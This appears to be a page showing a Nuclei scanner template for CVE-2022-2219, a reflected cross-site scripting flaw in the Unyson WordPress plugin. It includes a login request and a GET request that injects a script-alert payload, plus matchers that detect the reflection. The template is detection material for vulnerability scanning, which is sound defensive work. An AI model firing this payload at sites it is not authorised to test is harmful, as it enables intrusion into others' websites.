Unyson < 2.7.27 - Cross Site Scripting

ID: CVE-2022-2219

Severity: high

Author: r3Y3r53

Tags: cve,cve2022,authenticated,wordpress,wp,xss,unyson,wp-plugin,wpscan,brizy

Description

The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters

YAML Source

id: CVE-2022-2219

info:
  name: Unyson < 2.7.27 - Cross Site Scripting
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website.
  remediation: Fixed in version 2.7.27
  reference:
    - https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2219
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2022-2219
    cwe-id: CWE-79
    epss-score: 0.00159
    epss-percentile: 0.52368
    cpe: cpe:2.3:a:brizy:unyson:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: brizy
    product: unyson
    framework: wordpress
  tags: cve,cve2022,authenticated,wordpress,wp,xss,unyson,wp-plugin,wpscan,brizy

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
          - 'contains(body_2, "Unyson")'
        condition: and
# digest: 4a0a004730450220627d7a422b8d71b10db70ac9f30acf4957d076c58b9d116c8bbbc9aefd4d55fa022100f8280982743b45b6399c23e64536eaf4256b905bd7297f5d965399beb9f4af88:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2219.yaml"

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